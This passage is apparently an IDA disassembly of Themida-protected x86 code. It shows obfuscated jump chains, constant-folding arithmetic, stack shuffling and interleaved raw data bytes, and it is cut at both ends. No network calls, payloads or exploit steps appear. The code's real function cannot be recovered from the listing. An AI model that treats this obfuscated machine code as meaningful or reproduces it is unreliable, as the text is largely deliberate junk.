loc_50525E:				; CODE XREF: Themida_:00513ACEj
		add	esp, 4
		push	eax
		mov	eax, 72BA172Ch
		shr	eax, 4
		push	ebx
		mov	ebx, 0FFFFFFFFh
		sub	eax, ebx
		pop	ebx
		jmp	loc_50A156
; ---------------------------------------------------------------------------
		db 83h
		dd 48704C0h, 24248B24h,	5B2434FFh, 5E08950h, 4,	405h, 0A665E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50529A:				; CODE XREF: Themida_:005083E2j
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_50A200
; ---------------------------------------------------------------------------
		dw 8143h
		dd 4953F5C3h, 245C3149h, 241C8B04h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 532E660Fh
		pop	esi
		add	edx, edi
		mov	ecx, [edx]
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		mov	edx, [esp]
		push	0BD4h
		mov	[esp], edx
		mov	edx, esp
		push	ebx
		jmp	loc_50910D
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0C55C02CBh, 2E3C17Ch, 1BFCCB81h, 0C3816511h
		dd 6791CB68h, 1C8BDE89h, 0F513E924h, 0BA52FFFFh, 4C1A2896h
		dd 0C467EA81h, 0D701055Ch, 3AEF815Ah, 13E586Ah,	3AC781D7h
		dd 813E586Ah, 0BD642FEFh, 24148B46h, 195E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_505352:				; CODE XREF: Themida_:0051419Aj
		add	edx, edi
		pop	edi
		xor	edx, 81C68B13h
		xor	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shr	eax, 18h
		xor	eax, ecx
		jmp	loc_50953E
; ---------------------------------------------------------------------------

loc_505379:				; CODE XREF: Themida_:00505B47j
		mov	ebp, 62D3386Fh
		dec	ebp
		push	ecx
		mov	ecx, 3CB227C5h
		add	ecx, 262110A5h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_50D194
; ---------------------------------------------------------------------------
		db 33h
		dd 895C2404h, 0E189240Ch, 0D8685550h, 0E93B3E5Dh, 77A7h
		dd 92102535h, 58C52974h, 81240C8Bh, 4C4h, 0E9EF0100h, 38B7h
; ---------------------------------------------------------------------------

loc_5053C0:				; CODE XREF: Themida_:0050C493j
		add	eax, 4C7B35A3h
		or	ebp, eax
		pop	eax
		or	ebp, 0FC0120Bh
		push	ecx
		push	ebx
		mov	ebx, 0DBE7EBFh
		shr	ebx, 8
		sub	ebx, 7B580141h
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		and	ebx, 55D87A70h
		sub	ebx, 450ACE11h
		mov	ecx, ebx
		pop	ebx
		add	ebp, ecx
		jmp	loc_509E9B
; ---------------------------------------------------------------------------
		db 0C1h, 0EEh, 3
		dd 0BEF2E94Eh, 34FF0000h, 0C4835E24h, 0E2895204h, 4C281h
		dd 0EA830000h, 0A5CDE904h, 0B1510000h, 6CF1800Fh, 0FFA804E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505425:				; CODE XREF: Themida_:005011B1j
		mov	ecx, 79272305h
		add	ecx, 1EDE727Ch
		or	ecx, 0FCF7EFEh
		shl	ecx, 7
		neg	ecx
		or	ecx, 4C442AA2h

loc_505441:				; DATA XREF: ___:off_4274D8o
		add	ecx, 47994E43h
		jmp	loc_511D75
; ---------------------------------------------------------------------------
aBBPyos1w	db 'b,yO1w',0
		align 4
		dd 0E95AD089h, 0FFFFDBA2h, 89E9EF09h, 8B000046h, 0C481241Ch
		dd 4, 2474FF50h, 40E95804h, 89FFFFE5h, 97E92414h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505483:				; CODE XREF: Themida_:005114D0j
		add	ecx, 4
		jmp	loc_514CE7
; ---------------------------------------------------------------------------

loc_50548E:				; CODE XREF: Themida_:005075AFj
		pop	ebx
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xor	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	esp
		push	dword ptr [esp]
		jmp	loc_50A5FF
; ---------------------------------------------------------------------------

loc_5054AB:				; CODE XREF: Themida_:00510663j
		mov	edi, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	64Ah
		mov	[esp], ebx
		push	24h
		jmp	loc_514A1C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 248B2404h, 0F090E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5054D2:				; CODE XREF: Themida_:00510B6Bj
		pop	esp
		movzx	cx, al
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		jmp	loc_5112C2
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 24248900h, 4240481h, 8B000000h, 0CCE9242Ch, 83000048h
		dd 9AE904C2h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505507:				; CODE XREF: Themida_:0050EF9Fj
		inc	esi
		inc	esi
		sub	esi, 2F3A12E5h
		jmp	loc_5070CC
; ---------------------------------------------------------------------------
		dd 22E468h, 0A8FEE900h,	9C680000h, 8900006Eh, 0D0BA2414h
		dd 0E92BD445h, 7AD3h, 5C24048Fh, 0E99CC885h, 0FFFFA2DAh
		dd 80FFEB80h, 0DBF6C2F3h, 8950CBFEh, 405E0h, 42D0000h
		dd 87000000h, 0ECE92404h
		db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_50555B:				; CODE XREF: Themida_:005129EAj
		pop	ecx
		mov	eax, ebx
		pop	ebx
		add	ebx, eax
		pop	eax
		xor	ebx, [esp]
		jmp	loc_511338
; ---------------------------------------------------------------------------
		dw 0EE00h
		dd 0F7885359h, 2EE9FD88h, 870000ACh, 248B242Ch,	0AB0F6624h
		dd 0E99C2404h, 0FFFFA28Eh, 106AE381h, 0D3F71CECh, 0C7F6E9h
		db 0
; ---------------------------------------------------------------------------

loc_505595:				; CODE XREF: Themida_:005078EEj
		push	eax
		jmp	loc_50EECF
; ---------------------------------------------------------------------------

loc_50559B:				; CODE XREF: Themida_:00514688j
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		jmp	loc_507CFA
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F18103E1h, 5B01C66Ch, 0C8BCF01h, 4C48124h, 81000000h
		dd 2C7h, 613CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5055CA:				; CODE XREF: Themida_:0050CC51j
		push	edi
		mov	edi, 1
		jmp	loc_50FBEF
; ---------------------------------------------------------------------------
aFqsuv		db 'fQu',0
		align 4

loc_5055DC:				; CODE XREF: Themida_:0050EF68j
		add	esp, 4
		jmp	loc_51029C
; ---------------------------------------------------------------------------
aIIchc		db '<$h^',0
		dd 242C8900h, 0CA6FC8BDh, 0E9B9E902h, 0C181FFFFh, 4, 0FFFF0BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505609:				; CODE XREF: Themida_:0050EFCFj
		pop	ebp
		jmp	loc_511963
; ---------------------------------------------------------------------------
		db 56h
		dd 0C063EFBEh, 0A359E96Ah, 0F001FFFFh, 0E08FE9h, 4BF00h
		dd 0EE680000h, 89000041h, 3481243Ch, 0F22C124h,	0CF6AE96Fh
		dd 0DEF7FFFFh, 0C681D6F7h, 8B5F0A92h, 89F18951h, 0CE0EE9CFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_50564E:				; CODE XREF: Themida_:0050E2D4j
		add	[esp+4], edi
		jmp	loc_50FF40
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FEE92434h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------

loc_50565F:				; CODE XREF: Themida_:0050A50Cj
		push	4AA9h
		jmp	loc_50110C
; ---------------------------------------------------------------------------

loc_505669:				; CODE XREF: Themida_:0050D0FAj
		pop	eax
		add	ebx, 15176107h
		jmp	loc_513269
; ---------------------------------------------------------------------------
		db '\h',9,0
		dw 8900h
		dd 74FF242Ch, 0E95D0424h, 0FFFFC930h, 4C381h, 1C870000h
		dd 0D466E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_505696:				; CODE XREF: Themida_:0050DCEEj
		pop	esi
		jmp	loc_50DE77
; ---------------------------------------------------------------------------
		dd 0EAC4E981h, 0CF01E383h, 4C78159h, 87000000h,	8F5C243Ch
		dd 0D25C2404h, 0E99C2404h, 7750h, 31240C33h, 0C33240Ch
		dd 68515C24h, 7355h, 651E954h, 0B8500000h, 4, 0E958C301h
		dd 8945h, 3CDA68h, 24248900h, 979DE955h, 0B8500000h, 4
		dd 0C37AE9h, 0C4835A00h, 4BB5304h, 0E9000000h, 3BF4h, 582434FFh
		dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 0E9240489h, 96CFh
		dd 0BD242C89h, 75E672Ch, 0FFD2FAE9h, 241489FFh,	0BF57E289h
		dd 67903C3Eh, 0C9B9514Fh, 12AB67Dh, 240C8BCFh, 81E68956h
		dd 4C6h, 4C68100h, 87000000h, 815C2434h, 294478EFh, 8E7C15Fh
		dd 8103E7C1h, 539004C7h, 5FFA0114h, 559068h, 240C8900h
		dd 0FFDB8BE9h, 0A094E9FFh, 348BFFFFh, 4C48124h,	53000000h
		dd 7DC9B951h, 0D9F74AFFh, 0F6ACE9h, 0FFD80100h,	1C8B2434h
		dd 4C48324h, 4C481h, 2CE90000h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5057AF:				; CODE XREF: Themida_:0050C489j
		neg	ecx
		inc	ecx
		add	ecx, 40B55044h
		xor	ecx, 406561E4h
		sub	ecx, 66651317h
		shl	ecx, 6
		jmp	loc_50287A
; ---------------------------------------------------------------------------

loc_5057CC:				; CODE XREF: Themida_:0050E9A6j
		mov	edx, [esp]
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4A1F304Eh
		push	ebx
		mov	ebx, 4EE30B13h
		shl	ebx, 3
		jmp	loc_506AD4
; ---------------------------------------------------------------------------

loc_5057EB:				; CODE XREF: Themida_:00500578j
		pop	ecx
		jmp	loc_50D279
; ---------------------------------------------------------------------------

loc_5057F1:				; CODE XREF: Themida_:005121C9j
		mov	cl, bl
		dec	cl
		mov	bl, cl
		pop	ecx
		shl	bl, 4
		not	bl
		sub	bl, 0C2h
		xor	cl, bl
		pop	ebx
		add	bl, 7Fh
		jmp	loc_5082F4
; ---------------------------------------------------------------------------

loc_50580B:				; CODE XREF: Themida_:00507645j
		mov	ebx, 459E75BDh
		jmp	loc_509EDE
; ---------------------------------------------------------------------------

loc_505815:				; CODE XREF: Themida_:0050B1CDj
		add	ebx, edi
		sub	ebx, 1A5F14E3h
		jmp	loc_502B13
; ---------------------------------------------------------------------------

loc_505822:				; CODE XREF: Themida_:005007AAj
		add	esp, 4
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, 703485Bh
		add	ebp, ecx
		add	ebp, 703485Bh
		pop	ecx
		push	182h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 0Ah
		jmp	loc_503DBD
; ---------------------------------------------------------------------------

loc_50585B:				; CODE XREF: Themida_:0050B36Dj
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_500EB0
; ---------------------------------------------------------------------------

loc_505870:				; CODE XREF: Themida_:0050FBEAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_4FF9FE
; ---------------------------------------------------------------------------
		dw 6FBAh
		dd 8977BC4Ch, 0EB015AD5h, 83242C8Bh, 814304C4h,	4A9EB1EBh
		dd 0A91EE998h, 55E0000h, 0F24E4FB3h, 2EE9C189h,	5000006Fh
		dd 4EC81h, 24890000h, 24048324h, 4055804h, 68000000h, 7B21h
		dd 55243C89h, 0B5084468h, 0F5815D70h, 119A7188h, 48F5E9h
		db 0
; ---------------------------------------------------------------------------

loc_5058DD:				; CODE XREF: Themida_:005003E0j
		mov	ebp, 68717042h
		add	ebp, 978E8FC2h
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	7CD0h
		mov	[esp], ecx
		push	eax
		push	esi
		mov	esi, 2FD03432h
		mov	eax, esi
		jmp	loc_5037B2
; ---------------------------------------------------------------------------
aIHai		db '<$haI',0
		align 2
		dw 8F54h
		dd 52552404h, 3B0991BAh, 95F28106h, 89063B09h, 6C015AD5h
		dd 8B5D0424h, 0C483243Ch, 42BA5204h, 81246914h,	4D6093C2h
		dd 1EA817Ah, 53000000h,	0F4438EBBh, 0E3D1432Eh,	8105EBC1h
		dd 0E63BB0F3h, 0DEB8504Bh, 17C2E0Ch, 0D3F758C3h, 0BCBD5543h
		dd 313BE677h, 0F3815DEBh, 2A390D4Ch, 0B6E9DA01h, 8B0000E1h
		dd 0C4832404h, 74E94804h, 54000071h, 47EAE9h, 9E8CE900h
		dd 3489FFFFh, 7175BE24h, 0F03117DDh, 0A53FE9h
		db 0
; ---------------------------------------------------------------------------

loc_505999:				; CODE XREF: Themida_:005042B8j
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	ebx
		jmp	loc_510156
; ---------------------------------------------------------------------------
		dw 0C183h
		dd 240C8704h, 2404335Ch, 30C5E9h, 81E58900h, 4ECh, 24148900h
		dd 4BAh, 5AD50100h, 4ED81h, 0E9550000h,	15ECh, 31242C33h
		dd 7E9242Ch, 5E00003Ch,	42Dh, 24043300h, 0E9240431h, 6AE6h
		dd 40558h, 4050000h, 87000000h,	0E3E92404h, 8900001Dh
		dd 74FF242Ch, 0E95D0424h, 9F4Ch, 5C24048Fh, 901BE9h, 0B7535200h
		dd 12B652A5h, 0EEC0C6FEh, 2133E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_505A32:				; CODE XREF: Themida_:00508A2Dj
		sub	[esp+4], ebp
		jmp	loc_511D96
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E95DE829h, 1EDDh, 0D61EC681h, 0ED81E277h, 4C7A415Eh
		dd 36E0E9h
		db 0
; ---------------------------------------------------------------------------

loc_505A55:				; CODE XREF: Themida_:0050CDD5j
		mov	[esp], ebp
		mov	ebp, 1CD32C62h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		neg	edi
		add	edi, 0FFFFFFFFh
		push	edx
		jmp	loc_5008E7
; ---------------------------------------------------------------------------
		db 81h
		dd 0D2227AF1h, 59CE0195h, 0EE81C601h, 6A6E49BEh, 4685758h
		dd 0E9000000h, 20DDh, 28CEC380h, 0CEEB80D3h, 0FE4AB050h
		dd 0E9E434C0h, 6AD5h, 0AD2C1D05h, 7A372D75h, 0EA684F51h
		dd 0E900006Ah, 0FFFFDDD7h
; ---------------------------------------------------------------------------

loc_505AB8:				; CODE XREF: Themida_:00513166j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_501BFB
; ---------------------------------------------------------------------------

loc_505ACA:				; CODE XREF: Themida_:005111F0j
		pop	esp
		xor	edx, edx
		jmp	loc_5149C2
; ---------------------------------------------------------------------------
		dw 28Fh
		dd 0FF9D3DE9h, 34FF59FFh, 0D8E95B24h, 5A000079h, 72D1EA81h
		dd 97E96ACAh, 68FFFFF1h, 1065h,	0FF243C89h, 5F042474h
		dd 0BD04E9h, 5BBD5500h,	141E860h, 0FA095DEFh, 0EBE2815Fh
		dd 0E964774Fh, 1352h, 0EAE9535Ch
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505B1F:				; CODE XREF: Themida_:0050DA3Bj
		sub	ebx, 44661768h
		pop	eax
		sub	ebx, 76D303F3h
		push	0EAAh
		mov	[esp], edx
		push	eax
		mov	eax, 39561D90h
		push	ebx
		jmp	loc_5130B9
; ---------------------------------------------------------------------------

loc_505B40:				; CODE XREF: Themida_:00502A15j
		add	edx, 4
		push	ebp
		jmp	loc_505379
; ---------------------------------------------------------------------------
		dd 0FF9CC5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505B51:				; CODE XREF: Themida_:0051414Cj
		mov	esi, esp
		jmp	loc_50ADE2
; ---------------------------------------------------------------------------

loc_505B58:				; CODE XREF: Themida_:005060A2j
		add	edx, 4
		sub	esp, 4
		jmp	loc_508BA9
; ---------------------------------------------------------------------------
		dw 0E2D1h
		dd 0A014E9h, 5EF32900h,	0FFB1C9E9h, 766866FFh, 0C89663Bh
		dd 0A5B6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505B82:				; CODE XREF: Themida_:00508AB3j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		jmp	loc_508518
; ---------------------------------------------------------------------------

loc_505B90:				; CODE XREF: Themida_:0051044Aj
		dec	ecx
		add	ecx, 17DF3AA9h
		add	ecx, 342227D8h
		sub	esp, 4
		jmp	loc_5060E3
; ---------------------------------------------------------------------------

loc_505BA5:				; CODE XREF: Themida_:00514759j
		shr	esi, 5
		or	esi, 78C7036Eh
		xor	esi, 39DC6D9Ch
		mov	edi, esi
		pop	esi
		sub	edi, 0E8DA0EC6h
		add	edx, edi
		pop	edi
		jmp	loc_5129BC
; ---------------------------------------------------------------------------
aGbqeqn7s	db 'GeQN7״',0
		dd 0D5C38100h, 8147B136h, 0A89384F3h, 0E9DA89B9h, 0FFFFC4A1h
		dd 0C7C7E951h, 0EFC10000h, 50D7F706h, 1D482FB8h, 58C7014Ch
		dd 0BB6CE955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505BFE:				; CODE XREF: Themida_:00502EC4j
		push	ebp
		mov	ebp, 4
		add	edx, 716174BCh
		jmp	loc_50CE11
; ---------------------------------------------------------------------------
		db 51h
		dd 0EDC0FCB5h, 6EDC002h, 0E964B652h, 0B752h
; ---------------------------------------------------------------------------

loc_505C20:				; CODE XREF: Themida_:005132C4j
		push	eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		sub	eax, 449943A4h
		add	eax, edx
		jmp	loc_5005EC
; ---------------------------------------------------------------------------

loc_505C35:				; CODE XREF: Themida_:0050BB62j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_502435
; ---------------------------------------------------------------------------
		db 81h
		dd 8CE8DAEFh, 0E9FE296Eh, 3853h
; ---------------------------------------------------------------------------

loc_505C4C:				; CODE XREF: Themida_:00508D23j
		add	eax, 4
		jmp	loc_5143CE
; ---------------------------------------------------------------------------
		dw 489h
aSi		db '$I',0
		align 2
		dw 0C581h
		dd 4, 0E9242C87h, 0D65Dh, 0FF04C483h, 1C8B2434h, 4C48324h
		dd 8904EC83h, 0E0892404h, 405h,	40500h,	4870000h, 91B1E924h
		dd 0CD890000h, 81240C8Bh, 4C4h,	4E5C100h, 2AD3C581h, 0E9E93C2Bh
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_505CAB:				; CODE XREF: Themida_:005105AEj
		add	ebp, ebx
		pop	ebx
		jmp	loc_50D8E4
; ---------------------------------------------------------------------------
		db 51h
		dd 994D34B9h, 59C83127h, 0F795635h, 14A63537h, 45E93B22h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_505CCB:				; CODE XREF: Themida_:0050F4DEj
		add	ebp, esi
		pop	esi
		push	esi
		jmp	loc_502190
; ---------------------------------------------------------------------------

loc_505CD4:				; CODE XREF: Themida_:0050D7A7j
		idiv	ecx
		jmp	loc_5021B4
; ---------------------------------------------------------------------------

loc_505CDB:				; CODE XREF: Themida_:0051169Cj
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50168E
; ---------------------------------------------------------------------------
		dw 0F430h
		dd 0E388535Ah, 8B5BDE88h, 3FE92404h, 0BA00002Ah, 59E12078h
		dd 0EA81D2F7h, 0FFFFFFFFh, 0E281DAF7h, 7DEE5F17h, 472FF281h
		dd 0D5095086h, 5836685Ah, 0CDE90000h, 8F00000Bh, 4812404h
		dd 424h, 3053E900h, 148B0000h, 4C48124h, 87000000h, 248B2434h
		dd 4C48124h, 0E9000000h, 3B40h,	0C981D1F7h, 7F0951h, 0E981D1F7h
		dd 0F04562FCh, 0CFE7E9h, 24048B00h, 0D004C483h,	0E9D3F6EBh
		dd 88C7h, 4EC81h, 0E9540000h, 0FFFF9C17h, 81242C89h, 4ECh
		dd 243C8900h, 0C9ADE9h,	0C4E95100h, 5C000070h, 5C24048Fh
		dd 531C68h, 240C8900h, 55AFE9h,	39283500h, 0E8D16892h
		dd 4F2C68h, 24348900h, 0C83EFFBEh, 5EF02138h, 0CC99E9h
		db 0
; ---------------------------------------------------------------------------

loc_505DC1:				; CODE XREF: Themida_:00504082j
		pop	edi
		sub	ebp, eax
		pop	eax
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		sub	edi, ebx
		mov	ebx, [esp]
		jmp	loc_5029AC
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0C1DFF7D7h, 0DFF703EFh, 3CDFC781h, 2BE96600h, 81FFFFD6h
		dd 2A9F5EFh, 5FF889D2h,	0FF9FD6E9h, 0BB535EFFh,	46AA183Fh
		dd 0EBC1D3F7h, 40BF5702h, 0F730435Bh, 72E953DFh
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_505E23:				; CODE XREF: Themida_:00506AB4j
		jnz	loc_50B040
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		push	ebx
		mov	ebx, 37B45C6Ah
		push	ecx
		push	esi
		mov	esi, 479D5524h
		mov	ecx, esi
		jmp	loc_508B70
; ---------------------------------------------------------------------------
		dd 24048156h, 51036FF3h, 0F3EF815Fh, 5E51036Fh,	5C08EF81h
		dd 0BE56BE2Dh, 1B6E5342h, 8103EEC1h, 6B33C6E6h,	46D6F773h
		dd 0BA5AE9h, 4C18100h, 83000000h, 0C3304C1h, 0AB3BE924h
		dd 0C6290000h, 1D67E9h
		db 0
; ---------------------------------------------------------------------------

loc_505E95:				; CODE XREF: Themida_:005001F6j
		mov	[esp], edi
		mov	edi, 331E2307h
		jmp	loc_507BB2
; ---------------------------------------------------------------------------

loc_505EA2:				; CODE XREF: Themida_:00514358j
		mov	[esp], edi
		jmp	loc_508325
; ---------------------------------------------------------------------------

loc_505EAA:				; CODE XREF: Themida_:0050E632j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		jmp	loc_50B18B
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8957240Ch, 4C781E7h,	81000000h, 2C7h, 243C8700h, 0E239E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_505EE2:				; CODE XREF: Themida_:00501EB6j
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_50FAE9
; ---------------------------------------------------------------------------
		dd 48BC189h, 4C48124h, 0E9000000h, 0FFFFEAF7h, 363768h
		dd 0E6AEE900h, 8B5CFFFFh, 0E4E9241Ch
		db 0DAh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_505F13:				; CODE XREF: Themida_:00501A0Ej
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_501D9D
; ---------------------------------------------------------------------------

loc_505F1F:				; CODE XREF: Themida_:00508865j
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 706D169Eh
		xor	esi, ebp
		pop	ebp
		sub	ebx, 56E912CFh
		add	ebx, esi
		add	ebx, 56E912CFh
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5078E3
; ---------------------------------------------------------------------------
		dd 405h, 4BB5300h, 2D000000h, 0F797E15h, 0FF99ACE9h, 416858FFh
		dd 89000079h, 0A3E92434h, 8B000057h, 8B662424h,	62E92404h
		dd 68000083h, 6DD3h, 0FF9F4EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_505F81:				; CODE XREF: Themida_:005114DAj
		mov	[esp], ecx
		jmp	loc_50485E
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 16h
		dd 68224C7Fh, 0
		dd 5D242C29h, 5650D5F7h, 42E7BBEh, 5EF0896Ch, 66E9D0F7h
		dd 0BF00006Bh, 2B236820h, 9778E9h, 48B6600h, 3A476824h
		dd 4890000h, 48B5424h, 0EC835124h, 0D862E904h, 0D031FFFFh
		dd 8124148Bh, 4C4h, 0B8D1E900h,	0BF57FFFFh, 7B4300FEh
		dd 505FF901h, 5664E9h
		db 0
; ---------------------------------------------------------------------------

loc_505FED:				; CODE XREF: Themida_:0050A8AEj
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_512EBE
; ---------------------------------------------------------------------------

loc_505FFD:				; CODE XREF: Themida_:0050B052j
		push	edx
		push	16C8h
		mov	[esp], esp
		push	esi
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_50451F
; ---------------------------------------------------------------------------
		db 0E9h, 0FCh, 97h
		dd 0E981FFFFh, 30240EC5h, 4BA525Dh, 0E9000000h,	0FFFFC795h
; ---------------------------------------------------------------------------

loc_50602C:				; CODE XREF: Themida_:00501349j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	4AA3h
		mov	[esp], ecx
		push	edx
		mov	edx, 59802CFEh
		mov	ecx, edx
		jmp	loc_50CF19
; ---------------------------------------------------------------------------
		db 66h
		dd 8966EE29h, 348B66F5h, 3343E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_50605E:				; CODE XREF: Themida_:00513D26j
		xor	edx, esi
		pop	esi
		sub	edx, 9F09F528h
		add	ebx, edx
		jmp	loc_508950
; ---------------------------------------------------------------------------
		dw 0D9F7h
aSHS		db '',8,'hs',0
		align 4
		dd 0BE243489h, 54403AFDh, 39EBD55h, 5EE9D2B0h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_50608B:				; CODE XREF: Themida_:0050D3EAj
		xor	cl, dl
		pop	edx
		push	ebx
		mov	bl, 2Ch
		not	bl
		jmp	loc_50F76B
; ---------------------------------------------------------------------------
		dd 0E9240489h, 42ECh
; ---------------------------------------------------------------------------

loc_5060A0:				; CODE XREF: Themida_:00510FFEj
		mov	edx, esp
		jmp	loc_505B58
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7B51589h, 6424BE56h,	10E96C6Bh, 68000043h, 6930h, 0E9241489h
		dd 0FFFF9752h, 0E01392BDh, 0AEF5E90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5060CE:				; CODE XREF: Themida_:005074F9j
		pop	edx
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5096DE
; ---------------------------------------------------------------------------

loc_5060E3:				; CODE XREF: Themida_:00505BA0j
		mov	[esp], esi
		mov	esi, 13DD7025h
		neg	esi
		sub	esi, 750180E8h
		or	ecx, esi
		jmp	loc_50E3A2
; ---------------------------------------------------------------------------

loc_5060FA:				; CODE XREF: Themida_:0051003Fj
		xor	ebx, 0D895DEF8h
		jmp	loc_512B25
; ---------------------------------------------------------------------------
		db 0Dh,	42h, 1Eh
		dd 0E4352B06h, 898B26E7h, 0FBE958C2h
		db 9Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_506117:				; CODE XREF: Themida_:005008BCj
		mov	[esp], esi
		mov	esi, 31E54729h
		sub	ebp, esi
		pop	esi
		sub	ebp, 7D60488Fh
		add	ebp, 2B016EF5h
		jmp	loc_5093DC
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 4C68104h, 0E9000000h, 0FFFFDC49h
; ---------------------------------------------------------------------------

loc_506144:				; CODE XREF: Themida_:00504EBCj
		mov	ebx, 35B01F2Eh
		xor	ebp, ebx
		pop	ebx
		mov	edi, ebp
		pop	ebp
		jmp	loc_50CA92
; ---------------------------------------------------------------------------
		dd 6834F2BDh, 81D5F726h, 0F1430AF5h, 0C897E926h, 5E050000h
		dd 0E9011548h, 3670h
; ---------------------------------------------------------------------------

loc_506170:				; CODE XREF: Themida_:0050FF3Bj
		mov	eax, 408E0D4Ch
		not	eax
		not	eax
		shr	eax, 5
		add	eax, 0FDFB8F9Ah
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		add	edx, 4
		push	38Fh
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_50A071
; ---------------------------------------------------------------------------
		db 28h
		dd 6CF4E9F0h, 8B660000h, 8951240Ch, 0CCBB53E1h,	81714F6Eh
		dd 4F6EC8EBh, 0E980E971h, 0D8F6FFFFh, 0E9E9B32Ch, 5900003Ah
		dd 56E18951h, 28EF68h, 24148900h, 0BAADE9h, 0E8305B00h
		dd 6665E959h, 0BF680000h, 89000002h, 58542404h,	4BF068h
		dd 242C8900h, 11FFE9h
		db 0
; ---------------------------------------------------------------------------

loc_506201:				; CODE XREF: Themida_:00506CFEj
		mov	edx, [esp]
